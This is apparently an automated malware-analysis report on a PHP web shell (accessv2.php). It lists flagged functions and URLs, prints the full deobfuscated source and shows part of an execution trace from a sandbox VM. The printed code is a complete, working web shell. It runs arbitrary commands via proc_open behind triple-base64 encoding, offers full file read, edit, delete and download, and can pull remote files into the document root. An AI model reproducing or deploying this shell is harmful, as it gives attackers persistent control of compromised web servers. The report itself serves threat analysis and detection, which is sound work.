accessv2.php, accessv3.php

md5: 213579bcf8898cfb969387e0455e8bc2

Jump to:
Deobfuscated code (Read more)
Execution traces (Read more)
Generated HTML (Read more)
Original Code (Read more)
Screenshot
Attributes
Encoding
base64_decode (Deobfuscated, Original)

Environment
error_reporting (Deobfuscated, Original, Traces)
getcwd (Deobfuscated, Original, Traces)
php_uname (Deobfuscated, Original, Traces)
set_time_limit (Deobfuscated, Original, Traces)

Execution
proc_open (Deobfuscated, Original)

Files
file_get_contents (Deobfuscated, Original)
file_put_contents (Deobfuscated, Original)

Input
_FILES (Deobfuscated, Original)
_GET (Deobfuscated, Original)
_POST (Deobfuscated, Original)

URLs
https://anon7.xyz/upload.txt (Deobfuscated, Original)
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css (Deobfuscated, HTML, Original)
https://fonts.googleapis.com/css?family=Bungee (Deobfuscated, HTML, Original)
https://fonts.googleapis.com/css?family=Dosis (Deobfuscated, HTML, Original)

Deobfuscated PHP code


<!DOCTYPE html>
<html>
<head>
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5"></font></center>	
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php 
set_time_limit(0);
error_reporting(0);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>" . $disfunc . "</font>";
}
function author()
{
    echo "<center><br></center>";
    exit;
}
function cekdir()
{
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function cekroot()
{
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function xrmdir($dir)
{
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}
function dunlut($file)
{
    if (!is_readable($file)) {
        red("Cannot Download File / Unreadable File !");
        die;
    }
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush();
    readfile($file);
    die;
}
function owner($file)
{
    if (function_exists("posix_getpwuid")) {
        $tod = @posix_getpwuid(fileowner($file));
        return "<center>" . $tod['name'] . "</center>";
    } else {
        return "<center>" . fileowner($file) . "</center>";
    }
}
function cekwrite($lokasi)
{
    $izin = substr(sprintf('%o', fileperms($lokasi)), -4);
    if (is_writable($lokasi)) {
        return "<font color=green>" . $izin . "</font>";
    } else {
        return "<font color=red>" . $izin . "</font>";
    }
}
function ekse($komend, $lokasi)
{
    if (!function_exists("proc_open")) {
        die("proc_open function disabled !");
    } elseif (!function_exists("base64_decode")) {
        die("base64_decode function disabled !");
    }
    $komen = base64_decode(base64_decode(base64_decode($komend)));
    $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
    echo "<textarea rows='25' cols='100'>" . htmlspecialchars(stream_get_contents($pipes[1])) . "</textarea><br><br>";
}
function ipserv()
{
    if (empty($_SERVER['SERVER_ADDR'])) {
        return gethostbyname($_SERVER['SERVER_NAME']);
    } else {
        return $_SERVER['SERVER_ADDR'];
    }
}
function cekfile($file)
{
    return "<i class=\"fa fa-file\" style=\"color: #d6d4ce\"></i> ";
}
function filedate($file)
{
    return date("F d Y g:i:s", filemtime($file));
}
function unzip($file, $lokasi)
{
    if (!is_readable($file)) {
        red("Cannot Unzip File / Unreadable File !");
        die;
    } elseif (strpos(file_get_contents($file), "PK\x03\x04") === false) {
        red("This isn't Zip File !");
        die;
    }
    $zip = new ZipArchive();
    $res = $zip->open($file);
    if ($res == true) {
        $zip->extractTo($lokasi);
        $zip->close();
        green("Success Unzip File !");
    } else {
        red("Failed to Unzip File !");
    }
}
function green($text)
{
    echo "<center><font color='green'>" . $text . "</center></font>";
}
function red($text)
{
    echo "<center><font color='red'>" . $text . "</center></font>";
}
echo "Server IP : <font color=gold>" . ipserv() . "</font> &nbsp;/&nbsp; Your IP : <font color=gold>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "Web Server : <font color='gold'>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
echo "System : <font color='gold'>" . php_uname() . "</font><br>";
echo "User : <font color='gold'>" . @get_current_user() . "&nbsp;</font>( <font color='gold'>" . @getmyuid() . "</font>)<br>";
echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>";
echo "Disable Function : " . $disf . "</font><br>";
echo "MySQL : ";
if (function_exists("mysql_connect")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = stripslashes($value);
}
if (isset($_GET['path'])) {
    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}
$lokasi = str_replace('\\', '/', $lokasi);
$lokasis = explode('/', $lokasi);
$lokasinya = @scandir($lokasi);
echo "<br>Directory (" . cekwrite($lokasi) . ") : &nbsp;";
foreach ($lokasis as $id => $lok) {
    if ($lok == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($lok == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$lokasis[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $lok . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_POST['upwkwk'])) {
    if ($_POST['dirnya'] == "2") {
        $lokasi = $_SERVER['DOCUMENT_ROOT'];
    }
    if (isset($_POST['berkasnya'])) {
        $data = @file_put_contents($lokasi . "/" . $_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi . "/" . $_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_FILES['berkas']['name'] . "</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi . "/" . $_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi . "/" . $_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_POST['namalink'] . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['bepas'])) {
        $bepasdata = $_POST['bepasdata'];
        $bepasnama = $_POST['bepasnama'];
        if ($bepasdata) {
            echo "string";
        }
        @file_put_contents($lokasi . "/" . $bepasnama, $bepasdata);
        if (file_exists($lokasi . "/" . $bepasnama)) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $bepasnama . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}
echo "</table><br>";
echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">";
echo '<th>[ &nbsp;<a href="' . $_SERVER['SCRIPT_NAME'] . '">Home</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&upload=gaskan">Upload File</a>&nbsp; ]</th>';
echo "</table><br>";
if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : " . $_GET['fileloc'];
    echo "</tr></td></table><br/>";
    echo "<pre>" . htmlspecialchars(file_get_contents($_GET['fileloc'])) . "</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File <i>" . basename($_POST['path']) . "</i> Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>" . $_POST['path'] . "<br>";
    echo '<form method="post">
    New Name : <input name="newname" type="text" class="up" size="20" value="' . $namaawal . '" />
    <input type="hidden" name="path" value="' . $_POST['path'] . '">
    <input type="hidden" name="pilih" value="gantinama">
    <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
    </form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>" . $_POST['path'] . "<br><br>";
    echo '<form method="post">
    <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br>
    <input type="hidden" name="path" value="' . $_POST['path'] . '">
    <input type="hidden" name="pilih" value="edit">
    <input type="submit" value="Edit File" name="gasedit" />
    </form><br>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
    dunlut($_POST['path']);
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
    unzip($_POST['path'], $lokasi);
} elseif ($_REQUEST['upload'] == "gaskan") {
    echo "<center>Upload File : ";
    echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ ' . cekdir() . ' ]
<input type="radio" value="2" name="dirnya" >document_root [ ' . cekroot() . ' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>
Upload File From Link :<br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
<br><br>403 Upload File<br>
<input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
<input type="hidden" name="bepasnama" id="namanya">
<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
<input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
</form><br><br></center>';
} elseif ($_GET['komend'] == "gaskan") {
    echo "<center>";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
    ' . @get_current_user() . '@' . ipserv() . ':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
    <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
        ekse($_POST['komend'], $lokasi);
    }
    echo "</center>";
}
if (!is_readable($lokasi)) {
    die("<center>This directory is unreadable :(</center>");
}
echo "<div id=\"content\"><table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Last Modified</center></td>\r\n<td><center>Owner</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>";
foreach ($lokasinya as $dir) {
    if (!is_dir($lokasi . "/" . $dir) || $dir == '.') {
        continue;
    }
    echo "<tr>\r\n    <td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=" . $lokasi . "/" . $dir . "\">" . $dir . "</a></td>\r\n    <td><center>--</center></td>\r\n    <td><center>" . filedate($lokasi . "/" . $dir) . "</center></td>\r\n    <td>" . owner($lokasi . "/" . $dir) . "</td>\r\n    <td><center>";
    if (is_writable($lokasi . "/" . $dir)) {
        echo "<font color=\"green\">";
    } elseif (!is_readable($lokasi . "/" . $dir)) {
        echo "<font color=\"red\">";
    }
    echo statusnya($lokasi . "/" . $dir);
    if (is_writable($lokasi . "/" . $dir) || !is_readable($lokasi . "/" . $dir)) {
        echo "</font>";
    }
    echo "</center></td>\r\n    <td><center><form method=\"POST\" action=\"?pilihan&path={$lokasi}\">\r\n    <select name=\"pilih\">\r\n    <option value=\"\"></option>\r\n    <option value=\"hapus\">Delete</option>\r\n    <option value=\"gantinama\">Rename</option>\r\n    </select>\r\n    <input type=\"hidden\" name=\"type\" value=\"dir\">\r\n    <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n    <input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$dir}\">\r\n    <input type=\"submit\" class=\"gas\" value=\">\" />\r\n    </form></center></td>\r\n    </tr>";
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td><td></td><td></td></tr>";
foreach ($lokasinya as $file) {
    if (!is_file("{$lokasi}/{$file}")) {
        continue;
    }
    $size = filesize("{$lokasi}/{$file}") / 1024;
    $size = round($size, 3);
    if ($size >= 1024) {
        $size = round($size / 1024, 2) . ' MB';
    } else {
        $size .= ' KB';
    }
    echo "<tr>\r\n<td>" . cekfile($lokasi . "/" . $file) . "<a href=\"?fileloc={$lokasi}/{$file}&path={$lokasi}\">{$file}</a></td>\r\n<td><center>" . $size . "</center></td>\r\n<td><center>" . filedate($lokasi . "/" . $file) . "</center></td>\r\n<td>" . owner($lokasi . "/" . $file) . "</td>\r\n<td><center>";
    if (is_writable("{$lokasi}/{$file}")) {
        echo "<font color=\"green\">";
    } elseif (!is_readable("{$lokasi}/{$file}")) {
        echo "<font color=\"red\">";
    }
    echo statusnya("{$lokasi}/{$file}");
    if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) {
        echo "</font>";
    }
    echo "</center></td><td><center>\r\n<form method=\"post\" action=\"?pilihan&path={$lokasi}\">\r\n<select name=\"pilih\">\r\n<option value=\"\"></option>\r\n<option value=\"hapus\">Delete</option>\r\n<option value=\"dunlut\">Download</option>\r\n<option value=\"gantinama\">Rename</option>\r\n<option value=\"edit\">Edit</option>";
    if (class_exists("ZipArchive")) {
        echo "<option value=\"unzip\">Unzip</option>";
    }
    echo "</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$file}\">\r\n<input type=\"submit\" class=\"gas\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
}
echo "</tr></td></table></table>";
author();
function statusnya($file)
{
    $izin = substr(sprintf('%o', fileperms($file)), -4);
    return $izin;
}
Execution traces
data/traces/213579bcf8898cfb969387e0455e8bc2_trace-1676241564.6169.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:39:50.514739]
1	0	1	0.000139	393528
1	3	0	0.000677	496656	{main}	1		/var/www/html/uploads/accessv2.php	0	0
2	4	0	0.000698	496656	set_time_limit	0		/var/www/html/uploads/accessv2.php	146	1	0
2	4	1	0.000715	496720
2	4	R			FALSE
2	5	0	0.000729	496688	error_reporting	0		/var/www/html/uploads/accessv2.php	147	1	0
2	5	1	0.000743	496728
2	5	R			22527
2	6	0	0.000756	496688	ini_get	0		/var/www/html/uploads/accessv2.php	149	1	'disable_functions'
2	6	1	0.000770	497168
2	6	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/accessv2.php	149	$disfunc = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/accessv2.php	153	$disf = '<font color=\'red\'>pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font>'
2	7	0	0.000842	497584	ipserv	1		/var/www/html/uploads/accessv2.php	290	0
2	7	1	0.000856	497584
2	7	R			'127.0.0.1'
2	8	0	0.000871	497584	php_uname	0		/var/www/html/uploads/accessv2.php	292	0
2	8	1	0.000885	497696
2	8	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	9	0	0.000904	497584	get_current_user	0		/var/www/html/uploads/accessv2.php	293	0
2	9	1	0.000940	497624
2	9	R			'osboxes'
2	10	0	0.000955	497688	getmyuid	0		/var/www/html/uploads/accessv2.php	293	0
2	10	1	0.000968	497688
2	10	R			1000
2	11	0	0.000981	497592	phpversion	0		/var/www/html/uploads/accessv2.php	294	0
2	11	1	0.000992	497656
2	11	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	12	0	0.001011	497592	function_exists	0		/var/www/html/uploads/accessv2.php	297	1	'mysql_connect'
2	12	1	0.001043	497632
2	12	R			FALSE
2	13	0	0.001056	497592	function_exists	0		/var/www/html/uploads/accessv2.php	303	1	'curl_init'
2	13	1	0.001070	497632
2	13	R			TRUE
2	14	0	0.001114	497592	file_exists	0		/var/www/html/uploads/accessv2.php	309	1	'/usr/bin/wget'
2	14	1	0.001135	497632
2	14	R			TRUE
2	15	0	0.001148	497592	file_exists	0		/var/www/html/uploads/accessv2.php	315	1	'/usr/bin/perl'
2	15	1	0.001164	497632
2	15	R			TRUE
2	16	0	0.001177	497592	file_exists	0		/var/www/html/uploads/accessv2.php	321	1	'/usr/bin/python2'
2	16	1	0.001192	497632
2	16	R			FALSE
2	17	0	0.001206	497592	getcwd	0		/var/www/html/uploads/accessv2.php	335	0
2	17	1	0.001219	497640
2	17	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/accessv2.php	335	$lokasi = '/var/www/html/uploads'
2	18	0	0.001245	497640	getcwd	0		/var/www/html/uploads/accessv2.php	336	0
2	18	1	0.001257	497688
2	18	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/accessv2.php	336	$lokdua = '/var/www/html/uploads'
2	19	0	0.001282	497688	str_replace	0		/var/www/html/uploads/accessv2.php	339	3	'\\'	'/'	'/var/www/html/uploads'
2	19	1	0.001297	497784
2	19	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/accessv2.php	339	$lokasi = '/var/www/html/uploads'
2	20	0	0.001321	497688	explode	0		/var/www/html/uploads/accessv2.php	340	2	'/'	'/var/www/html/uploads'
2	20	1	0.001335	498264
2	20	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/accessv2.php	340	$lokasis = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2	21	0	0.001368	498192	scandir	0		/var/www/html/uploads/accessv2.php	341	1	'/var/www/html/uploads'
2	21	1	0.001398	498816
2	21	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'accessv2.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/accessv2.php	341	$lokasinya = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'accessv2.php', 4 => 'data', 5 => 'prepend.php']
2	22	0	0.001435	498784	cekwrite	1		/var/www/html/uploads/accessv2.php	343	1	'/var/www/html/uploads'
3	23	0	0.001449	498784	fileperms	0		/var/www/html/uploads/accessv2.php	225	1	'/var/www/html/uploads'
3	23	1	0.001464	498848
3	23	R			16895
3	24	0	0.001482	498808	sprintf	0		/var/www/html/uploads/accessv2.php	225	2	'%o'	16895
3	24	1	0.001496	499192
3	24	R			'40777'
3	25	0	0.001509	499128	substr	0		/var/www/html/uploads/accessv2.php	225	2	'40777'	-4
3	25	1	0.001522	499224
3	25	R			'0777'
2		A						/var/www/html/uploads/accessv2.php	225	$izin = '0777'
3	26	0	0.001545	498840	is_writable	0		/var/www/html/uploads/accessv2.php	226	1	'/var/www/html/uploads'
3	26	1	0.001561	498880
3	26	R			TRUE
2	22	1	0.001574	498864
2	22	R			'<font color=green>0777</font>'
1		A						/var/www/html/uploads/accessv2.php	345	$id = 0
1		A						/var/www/html/uploads/accessv2.php	347	$a = TRUE
1		A						/var/www/html/uploads/accessv2.php	345	$id = 1
1		A						/var/www/html/uploads/accessv2.php	353	$i = 0
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	345	$id = 2
1		A						/var/www/html/uploads/accessv2.php	353	$i = 0
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	345	$id = 3
1		A						/var/www/html/uploads/accessv2.php	353	$i = 0
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	345	$id = 4
1		A						/var/www/html/uploads/accessv2.php	353	$i = 0
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	353	$i++
1		A						/var/www/html/uploads/accessv2.php	353	$i++
2	27	0	0.001822	498920	is_readable	0		/var/www/html/uploads/accessv2.php	497	1	'/var/www/html/uploads'
2	27	1	0.001840	498960
2	27	R			TRUE
2	28	0	0.001855	498968	is_dir	0		/var/www/html/uploads/accessv2.php	512	1	'/var/www/html/uploads/.'
2	28	1	0.001870	499008
2	28	R			TRUE
2	29	0	0.001884	498976	is_dir	0		/var/www/html/uploads/accessv2.php	512	1	'/var/www/html/uploads/..'
2	29	1	0.001898	499024
2	29	R			TRUE
2	30	0	0.001912	499208	filedate	1		/var/www/html/uploads/accessv2.php	516	1	'/var/www/html/uploads/..'
3	31	0	0.001925	499208	filemtime	0		/var/www/html/uploads/accessv2.php	260	1	'/var/www/html/uploads/..'
3	31	1	0.001938	499248
3	31	R			1676241564
3	32	0	0.001950	499208	date	0		/var/www/html/uploads/accessv2.php	260	2	'F d Y g:i:s'	1676241564
3	32	1	0.002008	501600
3	32	R			'February 12 2023 5:39:24'
2	30	1	0.002026	501528
2	30	R			'February 12 2023 5:39:24'
2	33	0	0.002041	501304	owner	1		/var/www/html/uploads/accessv2.php	517	1	'/var/www/html/uploads/..'
3	34	0	0.002053	501304	function_exists	0		/var/www/html/uploads/accessv2.php	216	1	'posix_getpwuid'
3	34	1	0.002067	501344
3	34	R			TRUE
3	35	0	0.002079	501304	fileowner	0		/var/www/html/uploads/accessv2.php	217	1	'/var/www/html/uploads/..'
3	35	1	0.002092	501344
3	35	R			0
3	36	0	0.002104	501304	posix_getpwuid	0		/var/www/html/uploads/accessv2.php	217	1	0
3	36	1	0.002130	502104
3	36	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/accessv2.php	217	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	33	1	0.002174	501352
2	33	R			'<center>root</center>'
2	37	0	0.002189	501048	is_writable	0		/var/www/html/uploads/accessv2.php	519	1	'/var/www/html/uploads/..'
2	37	1	0.002206	501088
2	37	R			TRUE
2	38	0	0.002220	501048	statusnya	1		/var/www/html/uploads/accessv2.php	521	1	'/var/www/html/uploads/..'
3	39	0	0.002233	501048	fileperms	0		/var/www/html/uploads/accessv2.php	583	1	'/var/www/html/uploads/..'
3	39	1	0.002245	501088
3	39	R			16895
3	40	0	0.002258	501048	sprintf	0		/var/www/html/uploads/accessv2.php	583	2	'%o'	16895
3	40	1	0.002271	501432
3	40	R			'40777'
3	41	0	0.002284	501368	substr	0		/var/www/html/uploads/accessv2.php	583	2	'40777'	-4
3	41	1	0.002302	501464
3	41	R			'0777'
2		A						/var/www/html/uploads/accessv2.php	583	$izin = '0777'
2	38	1	0.002326	501080
2	38	R			'0777'
2	42	0	0.002339	501048	is_writable	0		/var/www/html/uploads/accessv2.php	522	1	'/var/www/html/uploads/..'
2	42	1	0.002355	501088
2	42	R			TRUE
2	43	0	0.002369	501048	is_dir	0		/var/www/html/uploads/accessv2.php	512	1	'/var/www/html/uploads/.htaccess'
2	43	1	0.002385	501088
2	43	R			FALSE
2	44	0	0.002398	501056	is_dir	0		/var/www/html/uploads/accessv2.php	512	1	'/var/www/html/uploads/accessv2.php'
2	44	1	0.002412	501104
2	44	R			FALSE
2	45	0	0.002425	501056	is_dir	0		/var/www/html/uploads/accessv2.php	512	1	'/var/www/html/uploads/data'
2	45	1	0.002440	501088
2	45	R			TRUE
